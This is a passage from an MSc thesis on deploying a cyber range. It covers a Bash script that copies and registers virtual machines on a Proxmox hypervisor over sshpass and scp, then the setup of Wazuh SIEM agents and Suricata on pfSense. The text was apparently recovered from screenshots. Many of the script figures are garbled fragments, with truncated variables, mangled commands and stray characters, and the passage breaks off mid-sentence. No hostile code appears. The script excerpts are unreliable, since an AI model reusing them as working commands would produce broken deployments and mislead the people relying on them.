destination_dir="/Main/imac

vm_storage="ZFSPool'

Figure 13: Automation Script-Storage Path Destination

VM_NUM: The VM IDs to be deployed varies from environment to environment and needs to be
set. (Figure 14)
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vm_num=5

Figure 14: Automation Script-Cyber Range VM number

Image Names: While naming each virtual machine is not necessary, it is recommended so
everything has a clear set of properties into the cyber range. (Figure 15)

Figure 15: Automation Script-Virtual Machine Names

Note that all the environment variables could be transferred to a different complementary file that
can allow profiling of the script.

Number of Virtual Networks: This variable assists on the dynamic virtual bridges file generation
and installation. New networks are considered all the networks that will be used from the cyber
range, excluding the WAN (Internet), which is by default vmbr0. (Figure 16)

vnet S_num=4

Figure 16: Automation Script-Virtual Network Bridges Number

Virtual Machines Attached Networks: These variables specify which interfaces will be
attached on each virtual machine. Some virtual machines require very specific configurations
like having the same MAC address to retain their preconfigured settings. (Figure 17)

$vmbr_num+ ne ,brid b [ $vmbr_num: ne rtio, | r4[$vmbr_num rtio, r§[ $vmbr_num+

Figure 17: Automation Script-Virtual Machines Network Attachments

Virtual Machine Types: These variables are relative to the original virtual machine and are
dictated by the VM operating system. For example, Windows Operating Systems strongly prefer
EFI boot and scsi-pci hardware emulation. (Figure 18)

vme_type
${vm_storage}:1"
${vm_storage}::

vm3 in - 1N = ${vm_storage}:1"

vma 1y

Figure 18: Automation Script-Virtual Machine Types
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Virtual Machine BIOS: These variables are also operating system dependent and need to be
the same as the original virtual machine to properly boot. (Figure 19)

vm@_bios="seab
vml_bios
vm2_bios

vm3_bios
vm4_bios
vm5_bios

Figure 19: Automation Script-Virtual Machine BIOS Type

Virtual Machine vCPU: These variables specify how many virtual cores each virtual machine
should be provisioned with. This depends on the target host capacity and the desired
power/priority each system should have. (Figure 20)

vme@ cpu

vm5_cpu="2"

Figure 20: Automation Script-Virtual Machine CPU Allocation

Virtual Machine RAM: These variables specify how much memory each virtual machine should
be provisioned with. This again depends on the target host capacity and the desired
power/priority/load each system should have. (Figure 21)

vme_ram="4
vml_ram="4

vm2_ram="4
vm3_ram="4
vmd_ram="4
vm5_ram="

Figure 21: Automation Script-Virtual Machine RAM Allocation

Virtual Machines starting ID: This variable is optional and is used only when specific VM ID
needs to be used, often to intentionally overwrite something, for example a clean re-deployment
of the cyber range. (Figure 22)

vmid=120

Figure 22: Automation Script-Virtual Machine
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4.3.3 Automation: Procedure

From this point on, the script starts by gathering information from the target hypervisor host.
First it pulls the next available free VM ID that can be used if dynamic VM ID mode is selected.
Then it prompts for which VM ID mode it should follow Custom or Dynamic. (Figure 23)

Figure 23: Automation Script-Virtual Machine

The only interactive part of the script must be a notification that prompts the user to confirm the
script execution. (Figure 24)

with

Figure 24: Automation Script-Virtual Machine

The preparations of the hosting node are limited to installing the compression 7zip suite that
allows decompression of the images. (Figure 25)

sshpass $proxmox_pass ssh $proxmox user@$proxmox ip *

Figure 25: Automation Script-Virtual Machine

4.3.4 Automation: Image and Data Copy

Then the process of copying the images directory to the scratch location inside the hypervisor is
leveraging ssh to do it, because this requires no additional tools to be installed. Copying the
image data can be time consuming and it depends on various factors with the major ones being
the network connection between the deployment node and the hypervisor node and the type of
storage used on those two ends. (Figure 26)

Xx_ip}:%${destination_dir}

Figure 26: Automation Script-Virtual Machine Storage Copy Action

For the generation of the virtual bridges configuration, the script enumerates existing virtual
bridges, creates a configuration file with new bridges and copies it to the target host (Figure 27)

Cyber Range Development: Configuration of
the Cyber Range Environment Network and Monitoring Tools

37



«Msc Thesis» Nikitas Makris

touch ./a bri

iin $ (eval $vnets num})

Vmor_num++
révmbr_num” >>
t um ine

t ${proxmox_user}@${proxmox ip}:/

Figure 27: Automation Script-Virtual Network Bridges Function

4.3.5 Automation: Virtual Machine Image Decompression

Next, with all the virtual machine image data already copied over to the hypervisor scratch
location, they all need to be uncompressed to their original format as QEMU images (qcow?2)
(Figure 28)

$ (eval

eval "
sshpass $proxmox_pass ssh ${proxmox_user}@${proxmox_ip} "cd $destination_dir/$vmid_curr/ z e $destination_dir/$vmid_curr/*

Ay
done

Figure 28: Automation Script-Virtual Machine Storage Decompression

Note: There are commented lines ready to remove the compressed archives to save space from
the Proxmox host, which is always desirable, but it requires the underlying storage to be very
reliable. It is always recommended to check the final state of the copied virtual machine, before
removing the compressed archives.

4.3.6 Automation: Application of the new Network Configuration

The network configuration is applied by appending the newly generated file into the hypervisor’s
bridges configuration file and restarting the networking service. (Figure 29)

onf ${proxmox_user}@${proxmox ip}:

${proxmox_user }@${proxmox_ip} "ca

${proxmox user}@${proxmox ip} "
! il gl L

Figure 29: Automation Script-Virtual Network Bridges Creation

The actual creation of the virtual machine is done by leveraging the Proxmox QEMU Manager
to create and register each instance. (Figure 30)

Cyber Range Development: Configuration of
the Cyber Range Environment Network and Monitoring Tools

38



«Msc Thesis» Nikitas Makris

for 1 in $ (eval {@..vm_num})

sshpass $proxi ass ssh ${pr x_user }@${proxmox_ip} “gm create ${vm$i} --name $image vm$i $vm$i nets --o
$vméi ${vm_storage}: ~t $destination dir age vm$i/${image vm$i}. \
--b - s=$vm$i bios s $vm$i cpu --me

sleep 20
done

Figure 30: Automation Script-Virtual Machine Instance Creation

Lastly, after the creation of all the virtual machines, the script proceeds on to powering them one
by one in a serial manner so the researchers can evaluate them (Figure 31).
sleep 60

for i in $ (eval {@..vm num})
do

sshpass $proxmox_pass ssh ${proxmox_user}@${proxmox_ip} "gm start ${vm$i}"

sleep 20

done

Figure 31: Automation Script-Virtual Machine Start Action

4.3.7 Cyber Range Deployment Validation

After running this script, depending on the storage and network performance of the target
Proxmox [16] host, all virtual machines will be ready to start.

When the Cyber Range is deployed, and all its virtual machines are started, a group of networks
is formed that are interconnected via the Firewall virtual machine. As described in the
methodology section, each network segment has a set of properties that dictate the access rules
to and from this network to other networks. Additionally, each virtual machine must be exactly as
it was on the original cyber range and it the case of the current cyber range environment, the
following applies.

Note: Each system can be validated by comparing the integrity of their image data. While SSH
copy protocol (SCP) does that automatically when the transfer is done, there is always room for
errors when the image a written to the host storage from the host RAM. That integrity check can
be done manually using the 7-zip tool installed on both the Proxmox hypervisor and the computer
that has a copy of the image. The 7-zip tool has a built in CRC hashing function where SHA-256
for example can be used on both machines and compare if the file is identical (Figure 32).
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Open with
Move to OneDrive - Acromove In.c
Move to OneDrive - Personal
Edit in Notepad
PowerRename
Add to Favorites
Open with Code
Samsung Network PC Fax

7-Zip Open archive

Synology Drive Open archive
Scan with Microsoft Defender... Extract files...

Upload to MEGA Extract Here

Give access to Extract to "pfsense\”

Copy as path Test archive

What's using this file? Add to archive...

Share Compress and email...

PowerRename Add to "pfsense.7z”

Restore previous versions Compress to "pfsense.7z" and email

Add to "pfsense.zip”
Send to

Compress to "pfsensezip” and email
Cut CRC SHA CRC-32
Copy CRC-64
Create shortcut SHA-1
Delete SHA-256

Rename *

Properties SHA-256 -> pfsense.qcow2.sha256

Test archive : Checksum

Figure 32: 7z Storage Image Checksum
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5. Test Cases

Each test case aims to demonstrate the deployment feasibility, functionality of the environment,
the effectiveness of the monitoring stack against simulated threats along with the respective
configuration. By deploying the new environment in a server environment validates the
functionality of the automation. Also, to point out the practical benefits of something like this,
configuring a monitoring stack and launching attacks using some of the most common methods
illustrates why the Cyber Range approach in integral part of cybersecurity.

5.1 Cyber Range Deployment Procedure on a University server

The University of Piraeus has allocated some resources to facilitate university researchers and
one of these resources is a Proxmox [16] Hypervisor installed on a physical Server. To deploy the
cyber range, VPN remote access to the server is needed, along with Proxmox credentials. The
images, configuration files and scripts are to be provided by the user — deployer. Additionally,
since access to the server is done through VPN, a relatively fast ISP connection is required to
reduce the transfer times as much as possible. For reference, the deployment is done through a
200Mbps downlink and 20Mbps upload ISP connection and lasted about 8 hours

5.1.1 Connection to the VPN Access to Remote Proxmox

The VPN connection provided by the University is an OpenVPN profile, so to be able to connect
to it from a Windows [46]node, OpenVPN [54] needs to be installed from
https://openvpn.net/community-downloads/

Once installed, running it, a taskbar tray icon will be shown that resembles an Ethernet
Connection with a Padlock (Figure 33) and right clicking on the icon allows the VPN profile
import (Figure 34)

P 0 @

Figure 33: OpenVPN Process Icon

pfSense2-UDP4-9194-vpnuser-researcher1-config > _

Import > Import file...
Settings... Import from Access Server...
Exit Import from URL...

Figure 34: OpenVPN Connection

Once the profile is imported, upon starting the VPN connection, an interactive prompt for
credentials will pop up that needs to be filled with credentials provided by the University.

5.1.2 Preconfiguring the provisioning script

Once connected to the VPN, server is reachable via browser (in this case at
https://192.168.30.2:8006 ) (Figure 35)
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X PRO MO X Virtual Environment 8.2.2 D Create VM © Create CT | & root@pam ~
Server View ®  Datacenter m

&5 Datacenter
B tabsivi
Q7 100 (VM 100; & Summary

Q Search Search

Description Diskusage.. Memoryus.. CPUusage  Uptime Host CPU Host Mem Tags

&7 101 cam 3 Notes

S 102 (WetPromy
100 (TEST)
scalnetwork (labsv1) @ Ceph 101 (c2m o M2% (LY 27 days 013 ™ of 80

byt I T1Y ) 0 3 days 050

&8 Cluster 100 (VM 100 - wes ) 31 days 04 4 ) O of 80

£ (] LabstvILUN (labsrv1) e 102 (Wetirory - " 30 days 08 5 ™ of 80

absrviSCSI (labsrvi) q 103 (TEST ) 12deys 004 ) 0% of 80
localnetwork (labsrv1)
£ [Jlocal-vm (1absrv1)
(labsrv1)
S1 (labsrv1)

local (labsiv1)

Figure 35: Proxmox WebUI Console

As seen on the server, there are already running virtual machines that are out of scope of the
cyber range, but it is perfect example that most times the equipment used is not dedicated to one
specific purpose and it is important to have isolated deployments despite this limitation.

Next, it is useful to prepare the script and the target hypervisor for the upcoming deployment, so
the first step is to gather all required information out of the server infrastructure, which includes:

- Networks used

- Available capacity (storage, cpu, ram)
- Storage Pool configuration

- Resource Pool configuration

In this server we see that (Figure 36):

- The network used for management is 192.168.30.0/24, so that will be considered the
WAN network for the optional environment gateway.

Available capacity is more than adequate to host the Cyber

Range

& Summary
D Notes

0B

0.00% (0 B of 8.00 GiB)

@ Hosts 80 x Intel(R) Xeon(R)

£ Options

Figure 36: Proxmox System Capacity

- The storage pool configuration aside from the default pool configuration, there is an
iSCSI mount which could function as storage for the environment, but it is connected
through a 1GbE which does not allow for high transfer speeds. This could cause the
whole environment to be very unresponsive and slow, so this is why the local M.2 SSD
storage will be used in this case.

Next, since the current server can be used by many users, it is recommended to create a user
that afterwards can be the owner of the environment (Figure 37).
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Server View Datacenter

&8 Datacenter
B> labsiv
100 (VM 100) & Summary

Q, Search Add Edit Remove Password Permissions

User name Realm Enabled Expire Name

101 (c2m) [J Notes
102 (WebProxy)

103 (TEST)
calnetwork (labsrv1) @ Ceph

nikitas pve Yes never Nikitas Makris

£ Cluster root pam Yes never

LabsrviLUN (labsrv1) £ Options
absrw1SCSI (labsrv1)

ocal (labsrv1)

£ Storage
ocal-vm (labsrv1) Backup
13 Replication
o' Permissions

& Users

Figure 37: Proxmox User List

The created user is also recommended to be created under Proxmox Realm and Not PAM since
it can have limited privileges and offer more control granularity (Figure 38).

User name: nikitas First Name:
Realm: Proxmox VE authenticat Last Name:
Password E-Mail:
Confirm password:

Group:

Expire:

Enabled:

Comment:

Advanced

Figure 38: Proxmox User Addition

By default, this user does not have Proxmox administrative privileges, which may or may not be
granted. In this case, the goal is after the cyber range creation, the usage of the environment
needs to be conducted only under this user so administrative privileges should be granted only
to the environment resources. A resource pool can be created to group every virtual resource of
the environment, so a single user can be the owner of that and be able to administer everything
in it without necessarily having administrative privileges out of that (Figure 39).

Edit: Pool

Name: CyberRange|

Comment:

Figure 39: Proxmox Resource Pool Creation

To grant Pool Admin privileges to a specific user is as simple as adding the user and its role to
Pool Permissions (Figure 40 and Figure 41).
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Figure 40: Proxmox User Permissions Addition

Resource Pool: CyberRange

& Summary Add

£ Members User/Group/API Token Role
w' Permissions

nikitas@pve PVEVMAdmin
nikitas@pve PVEAdmin

Figure 41: Proxmox User Roles List

To test what the user sees, a dummy virtual machine template was created as a pool member
and here is what the Pool Administrator User sees, verifying that all other irrelevant resources
are not accessible (Figure 42).

)X( PRO MO < Virtual Environment 8.2.2 Search & Documentation
Server View 2 Virtual Machine 104 (test) on node 'labsrv1’  No Tags & » start Shutdown >_ Console More © Help
= Datacenter
EQ labsrvi & Summary Add Remove Edit Disk Action Revert
104 (test) > Console B2 Memory 2.00 GiB
W CyberRange L Hardware {it Processors 1 (1 sockets, 1 cores) [x86-64-v2-AES]
& Cloud-Init & BIOS Default (SeaBIOS)
£ Options L Display Default
: & Machine Default (1440fx)
Task History
£ SCSlI Controller VirtlO SCSI single
D Ty @ CD/DVD Drive (ide2) none media=cdrom
Backup = Network Device (net0) virtio=BC:24:11:2A:BFE3 bridge=vmbr0 firewall=1
13 Replication

‘D Snapshots

U Firewall

Figure 42: Proxmox Non Root-Pool Administrator View

All the gathered information must be inserted in the bash automation script, which in this case is
(Figure 43):
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| awk “{print $1}")

pacman
elif [ $

apk ¢
fi
proxmox_ip="192.
Proxmox_user=
proxmox_pass=

destination_dir=",

vm_storage="1ocal-1vm"

Figure 43: Automation Script-Proxmox Test Configuration

5.1.3 Running the Script

Since the automation is written in Bash, windows cannot run it natively, so WSL (Windows
Subsystem for Linux) can be deployed to run a small Linux distribution inside the Windows [46]
Operating System, which can run bash scripts. The WSL setup itself is out of scope of this
thesis, but starting an installed WSL Linux distribution is as simple as opening the Windows
Terminal application and from the Plus Icon one can select the installed Linux distribution from
the menu (Figure 44)

2 windows PowerShell

Windows PowerShell Windows PowerShell  Cirl+Shift+1

Copyright (C) Microsoft Co .
7 Command Prompt Ctrl+Shift+2

Install the latest PowerSh wements! https://aka.ms/PSWindows
& kali-linux Ctrl+Shift+3

Loading personal and syste

Azure Cloud Shell Ctrl+Shift+4

Ubuntu 22.04.3 LTS Ctrl+Shift+5

Settings Ctrl+,

Command palette Ctrl+Shift+P

About

Figure 44: Windows Terminal WSL Shells

Running the script from the WSL Linux Terminal is just simple as navigating into the script
directory and running it as sudo.

Before running the script make sure you have connected to the server at least once as root (in
the local machine that is launching the script) so the ssh public key of the server can be registered
as known host.
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It is always recommended that ssh login should be done with public key, in which case the script
should be stripped out from the sshpass command and its arguments that exist in every server
interaction command (Figure 45).

$ sudo ./CyberRange.sh

Hit:1 https://apt.releases.hashicorp.com jammy InRelease
Get:2 http://security.ubuntu.com/ubuntu jammy-security InRelease [129 kB]

Hit:3 http://archive.ubuntu.com/ubuntu jammy InRelease

Get:4 http://archive.ubuntu.com/ubuntu jammy-updates InRelease [128 kB]

Hit:5 http://archive.ubuntu.com/ubuntu jammy-backports InRelease

Fetched 257 kB in 1s (247 kB/s)

Reading package lists... Done

Building dependency tree Done

Reading state information... Done

29 packages can be upgraded. Run 'apt list —-upgradable' to see them.

Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

p7zip—full is already the newest version (16.02+dfsg-8)

sshpass is already the newest version (1.09-1).

0 upgraded, @ newly installed, @ to remove and 29 not upgraded.

Checking for existing bridges

Notice! By default automatic VM ID is chosen, but if the above custom VM IDs are unoccupied then these can be
used instead.

Do you want to use dynamic VM ID or custom VM ID?(y/n)f]

Figure 45: Automation Script Initial Deployment

After launching the script, all the stored images under the disks sub-directory start to copy to the
server one by one (Figure 46 and Figure 47).

: Entering interactive session.

: pledge: filesystem

: client_input_global_request: rtype hostkeys—-@@@openssh.com want_reply ©

: client_input_hostkeys: searching /root/.ssh/known_hosts for 192.168.30.2 / (none)

: client_input_hostkeys: searching /root/.ssh/known_hosts2 for 192.168.30.2 / (none)

: client_input_hostkeys: hostkeys file /root/.ssh/known_hosts2 does not exist

: client_input_hostkeys: no new or deprecated keys from server

: Remote: /root/.ssh/authorized_keys:1: key options: agent-forwarding port-forwarding pty user-rc x11-fo

: Remote: /root/.ssh/authorized_keys:1: key options: agent-forwarding port-forwarding pty user-rc x11-fo

debugl: Sending environment.
debugl: channel @: setting env LANG = "C.UTF-8"

debugl: Sending command: scp —v -t -p -d -t /var/lib/vz/images
scp: debugl: fd 3 clearing O_NONBLOCK

File mtime 1711824899 atime 1717955189

Sending file timestamps: T1711824899 © 1717955189 @

Sink: T17118214899 @ 1717955189 @

Entering directory: D@777 @ pfsense

Sink: DBT77 @ pfsense

sc| debugl: fd 6 clearing O_NONBLOCK

File mtime 1789133972 atime 1720379844

Sending file timestamps: T1789133972 © 1720379844 @

Sink: 71709133972 @ 17203798uU4 @

Sending file modes: C@777 312529224 pfsense.7z

Sink: CO777 312529224 pfsense.Tz

Figure 46: Automation Script-lmage Copy Phase

: ssh_packet_send2_wrapped: resetting send segnr 32735
: ssh_set_nemkeys: rekeying out, input 381280 bytes 19833 blocks, output 2147263204 bytes 1314187682 bloc

: Enabling compression at level 6.
: rekey out after 134217728 blocks
: dequeue packet: 94
: SSH2_MSG_NEWKEYS sent
: expecting SSH2_MSG_NEWKEYS
: ssh_packet_read_poll2: resetting read seqnr 9498
: SSH2_MSG_NEWKEYS received
: ssh_set_newkeys: rekeying in, input 381300 bytes 19835 blocks, output 2147296008 bytes 4188 blocks
: rekey in after 134217728 blocks
scp: debugl: fd 7 clearing O_NONBLOCK
scp: debugl: fd @ clearing O_NONBLOCK

Sink: E

scp: debugl: fd 3 clearing O_NONBLOCK
File mtime 171182U916 atime 1720388598

Sending file timestamps: T171182u916 O 17206388598 ©
Sink: T1711824916 @ 1720380598 0

Entering directory: D8777 O ubuntuemr

Sink: DO777 @ ubuntuemr

scp: debugl: fd 6 clearing O_NONBLOCK

File mtime 1708975183 atime 1720380985

Sending file timestamps: T1708975183 © 1720380985 ©
Sink: T1768975183 @ 1720380985 @

Sending file modes: C@777 5557824237 ubuntuemr.7z
Sink: COT77 555782u237 ubuntuenr.7z

Figure 47: Automation Script-Image Copy Phase Il

As already expected, the transfer time depends on the connection between the script launcher
and the server, which in this case is over internet and over VPN. In such cases, this is expected
to take a long time because of the small available bandwidth of the ISPs and from the overhead
introduced by the VPN.
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After the images transfer, the script continues with decompressing them from their archives.

Next, since the default storage allocation for isos is 100GB, there is not enough space for both
expanding the Virtual Machine images and retaining the compressed archives. So, the script
decompresses them and deletes the compressed archive right after for the next image to have
enough space to be decompressed respectively (Figure 48).

7-Zip [64] 16.02 : yright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 ale=en US.UTF-8,Utflé=on, HugeFiles ,64 bits, 80 CPUs Intel(R) Xeon(R) Gold 5218R CPU @ 2.10GHz (50657)
SM, AES-NT)

Scanning the drive for archives:
1 file, 312529224 bytes (299 MiB)

Extracting archive: ./pfsense.7z

= Tz
Physical size =

Heade Size

Compresse

Figure 48: Automation Script-Image Extraction Phase

After the image export, the script continues with setting up the network virtual bridges which will
provide isolated interconnectivity among the Cyber Range Virtual Machines so after generating
what is needed to add as a bridge, it copies it over to the server.

Now the script creates a virtual Resource Pool that essentially groups Virtual Resources together,
on which policies can be applied to more easily.

Next, the virtual machine instances are created using the network bridges and images. In this
step, the image file is copied to the designated virtual machine storage and converted into the
end format (in case the input format was different) (Figure 49).

5 GiB (83.33%)
5 GiB (84.38%)
6 GiB (85.42%)
3 GiB (86.U6%)
3 GiB (87.50%)
7 GiB (88.5U%)
7 GiB (89.58%)
2 GiB (90.62%)
8 .0 GiB (91.67%)
8 Gi .0 GiB (92.71%)
8 GiB (93.75%)
8 GiB (94.79%)
9 GiB (95.83%)
9 GiB (96.88%)
9 GiB (97.92%)
[} GiB (98.96%)
0 GiB (100.00%)
0

£

2
2
)
2
2
2
2
2
2:
2
2
2
2
2
2
3
3
3 GiB (100.00%)
S

i0: success

Figure 49: Automation Script-Virtual Machine Image Import

Last thing is that all created virtual machines are to be started, which can be disabled if manual
starting and stopping is required by commenting out the related section.

After finishing the deployment, due to the dynamic nature of the WAN environment, and only in
case that internet access to the Cyber Range environment is necessary, pfSense Firewall should
be configured on its WAN interface either with DHCP or static depending on the existing attached
LAN configuration (Figure 50 and Figure 51).
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The IPv4 HAN address has been set to 192.168.38.288/24

Press <ENTER> to continue.
KVH Guest Netgate Device ID: e3761b7ac5f8238e26fa

%% Helcome to pfSense 2.7.2-RELEASE (amd64) on pfSense x»xx
HAN (wan) > vtnetd > v4: 192.168.C

IT (lan) > vtnet1 > v4: 2.168.4
© ot DMZ (opt1) > > ?.168.3.

> 2t 2
Dl SERVERS (opt2) -> .43 > : 192.168.
2 £

LANNET (opt3) 4 > v4: 2.168.2.
8) Logout (SSH only) pfTop
sign Interfaces Filter Logs

interface(s) IP address ) Restart webConfigurator

t webConfigurator password 2) PHP shell + pfSe

t to factory defaults < Update from cc
5) Reboot system 4) Enable Secure Shell (sshd)
6) Halt systenm 5) Restore recent configuration
7) Ping host Restart PHP-FPH
8) Shell

Enter an option: |

Figure 50: Virtual PfSense Firewall Console

Enter an option: 2

Available interfaces:
1 HAN (vitnetd static)

IT (vtnet1l static)
DHZ (vinet2 static)

3
4 SERVERS (vtnet3
5 LANNET (vtnet4 static)

Enter the number of the interface you wish to configure: |j

Figure 51: Virtual PfSense Firewall Interface Configuration

Next, a simple ping verification can be done from the pfSense console to confirm that all Virtual
Machines are correctly connected to the respective virtual bridges. Bear in mind that the
environment needs some time to work properly after booting up all the virtual machines.

Sometimes, especially if the target hardware is wildly different, there might be a need to re-
configure the Ips on Windows Systems, since their configuration is based on profiles.

The whole process was timed to take 3 Hours, out of which the actual file transfer was 2 hours
and 54 minutes, all in automatic mode, which facilitates the deployment of these types of
environments.

5.2 Deploying SIEM and logging mechanisms

5.2.1 Deploying SIEM

SIEM (Security information and event management) system is a security solution that collects
data and analyzes activity to support threat protection. There is a lot of software that, when
combined, can contribute significantly to the monitoring and log gathering. The SIEM is not just
one system, nor is it static, rather than it is a combination of software that cooperates in such a
manner that all the required information from all the systems is collected and analyzed so the
system can adjust it defenses to adapt to the attacks. Wazuh [26] is one of the main software that
conducts logging, monitoring and even attack recognition of known patterns if configured properly.
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Installing Wazuh [26] is a relatively simple process and has a very comprehensive documentation
from the Wazuh [26] website (https://documentation.wazuh.com/current/index.html ), to assist
with its deployment, configuration etc.

The Wazuh [26] Virtual Machine could be a part of the Cyber Range and be included within the
deployment automation script. In this case, the Wazuh monitoring Virtual Machine will be attached
to the WAN network, so it is separated from the environment. This will allow the monitoring of all
the nodes inside the cyber range to be able to reach it and avoid creating extra rules that could
increase the attack surface within the environment.

Regardless of when the installation is done, the basic Wazuh [26] installation requires an Ubuntu
[42]Virtual Machine, preferably Server LTS edition, on top of which the installation Wazuh
packages will be installed.

Wazuh installation script can be downloaded directly from its website and run directly on the
terminal.

It is highly recommended to verify or test the signature of the package or script that is being
downloaded and executed with administrative privileges on servers for security reasons (Figure
52).

sudo bash ./wazuh-install.sh -a

re
ying that your sy
web int port

Dependenc. -

em m
will be 4u43.

port-https.
itory added.
tion files -—
g configuration fi

e
1
5
7
7
1
1
1
1
1

INFO:
3 INFO:

: Generating
: Generating
INFO:
INFO:
INFO:
INFO:

Generating

Generating

the root certif
Admin certifica

ated wazuh-i

Wazuh

indexer —--—

tificates.

ertificates.

. Tt contains the Wazuh cluster key, certificates, and passwords necessary for installation.

Starting Wazuh indexer installation

Figure 52: Wazuh Installation Procedure

After running the automatic Wazuh [26] deployment script, a functional Wazuh [26] instance will

be reachable at the Ip of the Virtual Machine (Figure 53).
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Figure 53: Wazuh Dashboard
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Next, all the cyber range nodes should join the Wazuh [26] instance by installing on each one the
Wazuh [26] agent.

Now this is the bare minimum for monitoring since no explicit configuration was done one any
node or the Wazuh server.

5.2.2 Deploying Logging Mechanisms

The logging mechanisms depend heavily on logs that are produced from the cyber range
member nodes. So, the procedure of deployment includes the installation of agents that will
forward the necessary logs to the Wazuh SIEM.

Firewall Enhancing and Logging

As it is with most systems, each one requires different handling. In this case, Wazuh Agent can
be installed in pfSense Firewall, but it is not recommended, because it requires enabling
repositories that can completely break the functionality or introduce unexpected vulnerabilities
and behavior of the system.

Log Collector Assistant Machine

To get as many useful logs towards Wazuh [26] Server, it is required to set up an additional Virtual
Machine that will act as a log collector and forwarder. This is done because as already mentioned,
(virtual) devices such as Firewalls, Routers and some loT devices don’t have the full functionality
of sending the logs themselves without compromises. Specifically, in the case of Firewalls, for
better performance, it is best practice not to install agents directly and forward logs to a dedicated
machine that has the versatility to do it properly.

So, the first step is to create one more Virtual Machine, in this case it is a small Linux distribution
that has tiny footprint and requires less resources, and it is attached to the WAN interface of the
Firewall, so it remains out of the observed area (Figure 54).

ual Machine
(05 System Disks

Node: labsrv1 Resource Pool

VM ID: 12

Name: LogCollector

Advanced

Figure 54: Proxmox Virtual Machine Creation

The installation process for a lightweight Linux, like Alpine [55], is straightforward, because it is
interactive after booting into the iso and launching setup-alpine command.

Once the Linux virtual machine is ready, wazuh-agent needs to be installed. To do that the Wazuh
[26] repository needs to be added (Figure 55).
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/home/systemadmin/wazuh—4.U4/src # wget -0 /etc/apk/keys/alpine-devel@wazuh.com-633d7457.rsa.pub https://packages.wazuh.c
om/key/alpine—devel%Udwazuh.com—633d7U457.rsa.pub

--20204-07-25 17:20:33—— https://packages.wazuh.com/key/alpine-devel%UBwazuh.com-633d7U57.rsa.pub

Resolving packages.wazuh.com (packages.wazuh.com)... 52.85.223.63, 52.85.223.126, 52.85.223.24,

Connecting to packages.wazuh.com (packages.wazuh.com)|52.85.223.63]:443... connected.

HTTP request sent, awaiting response... 200 OK

Length: 800 [application/vnd.ms—publisher]

Saving to: '/etc/apk/keys/alpine-devel@wazuh.com-633d7457.rsa.pub’

/etc/apk/keys/alpine—devel@wa 100%[== 800 -—-.-KB/s in Os
2024-07-25 17:20:34 (861 MB/s) — '/etc/apk/keys/alpine-devel@wazuh.com-633d7457.rsa.pub' saved [800/800]

/home/systemadmin/wazuh-4.4/src # echo "https://packages.wazuh.com/U4.x/alpine/v3.12/main" >> /etc/apk/repositories
/home/systemadmin/wazuh-4.4/src # apk add wazuh-agent

fetch https://packages.wazuh.com/4.x/alpine/v3.12/main/x86_6U4/APKINDEX.tar.gz

(1/3) Installing libproc2 (4.0.4-r0)

(2/3) Installing procps—ng (4.0.4-r@)

(3/3) Installing wazuh-agent (4.8.1-r1)

Executing wazuh-agent-4.8.1-rl.pre-install

Executing wazuh-agent-#4.8.1-rl.post—install

Figure 55: Alpine-Wazuh Agent Installation

Next, configure the agent to talk to the server (Figure 56).

/home/systemadmin # export WAZUH_MANAGER="192.168.30.16" && sed -i "s||MANAGER_IP|$WAZUH_MANAGER|g" /var/ossec/etc/ossec.conf

Figure 56: Alpine-Wazuh Agent Deployment

Note, that the Wazuh [26] agent needs a valid hostname for the machine, not localhost, so any
value upon installation of the machine should be entered to run properly.

And then starting the Wazuh [26] agent (Figure 57).

/home/systemadmin # /var/ossec/bin/wazuh-control start
Starting Wazuh vi4.8.1...

Started wazuh-execd...

Started wazuh-agentd...

Started wazuh-syscheckd...
Started wazuh-logcollector...
Started wazuh-modulesd...
Completed.

Figure 57: Alpine-Wazuh Agent Start

Once the Wazuh [26] agent starts it should be visible within the next minute in the Wazuh [26]
Server as a new Endpoint. If it is visible, it is confirmation that the agent works (Figure 58).
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= W Endpoints

STATUS DETAILS
@ Aciive (5)
’ o Active Disconnected Pending Never connected
@ Disconnected (0) 5 0 1
Pending (0)
@ Never conneded (1) Last enrolled agent Most active agent ©
logcollector winadc
Agents (6)
o Hame IP address Group(s) Operating system
001 winadmin 192.168.4.2 CyberRange Microsoft Windows 10 Pro 10.0.18042.631
002 winadc 192.168.5.2 CyberRange Microsoft Windows Server 2022 Standard Evaluation 10.0.20348.2227
003 ubuntudb 182.168.5.3 CyberRange A Ubuntu 22.04.1 LTS
004 ubuntuemr 19216833 CyberRange A Ubuntu 2204.1 LTS
005 win10 182.168.2.4 CyberRange Microsoft Windows 10 Pro 10.0.19045.4651
007 logcollector 182.168.30.17 defaul & Apine Linux 3.20.2

Figure 58: Wazuh Agents Dashboard
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v4.8.0 ® active @ @ %
v4.8.0 ® active @ @ By
v4.8.0 ® active @
v4 8.0 ® active @ @ 9
v4.8.0 ® active @ @ 9

Since the log collector machine is operational, the pfSense [45] firewall can now be configured to

generate the necessary logs.

To increase the monitoring and protection capabilities of a firewall, a properly set up intrusion
detection system (IDS) is needed. From within the Firewall Web Ul, Suricata [56] is available as
a separate package that has IDS functionality. In the same manner, pfBlockerNG [57] also can
be installed, because it offers rsync which can be used later for the transfer and rotation of the

log files (Figure 59).

Installed Packages

Name Category Version Description

+ pfBlockerNG net Manage IPv4/v6 List Sources into ‘Deny, Permit or Match' formats.
GeolP database by MaxMind Inc. (GeoLite2 Free version).
De-Duplication, Suppression, and Reputation enhancements.
Provision to download from diverse List formats.
Advanced Integration for Proofpoint ET IQRisk IP Reputation Threat Sources.
Domain Name (DNSBL) blocking via Unbound DNS Resolver.

Package Dependencies:

suricata security High Performance Network IDS, IPS and Security Monitoring engine by OISF.

Package Dependencies:

Figure 59: PfSense Suricata Package
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From the Suricata Suricata [56] menu, IDS can be enabled on any interface (Figure 60).

sense yster Interface Firewall Services v

COMMUNITY EDITION

Auto Config Backup

System Captive Portal

DHCP Relay
DHCP Server
DHCPv6 Relay
Installed Packages DHCPv6 Server
Name Category Version Description DNS Forwa

+ pfBlockerNG net Manage IPv4/v6 List Sour DNS Resolver ch’ formats.
GeolP database by MaxMi  pynamic DNS n).
De-Duplication, Suppressit nents.
Provision to download fro  'GMP Proxy
Advanced Integration forf NP tation Threat Sources.
Domain Name (DNSBL) bl iolver.
PPPoE Server

Package Dependencies: Router Advertisement

SNMP

Suricata
suricata security High Performance Networ .“ toring engine by OISF.
UPnP & NAT-PMP

Package Dependencies: Wake-on-LAN

Figure 60: PfSense Suricata Menu Entry

Multiple interfaces can be enabled and monitored, but this will heavily impact on the Firewall’s
performance.

Before going forward with the IDS setup, hardware offloading needs to be disabled for IDS to be
able to inspect the packets.

This is done via the System — Advanced — Networking Menu and it requires the firewall to
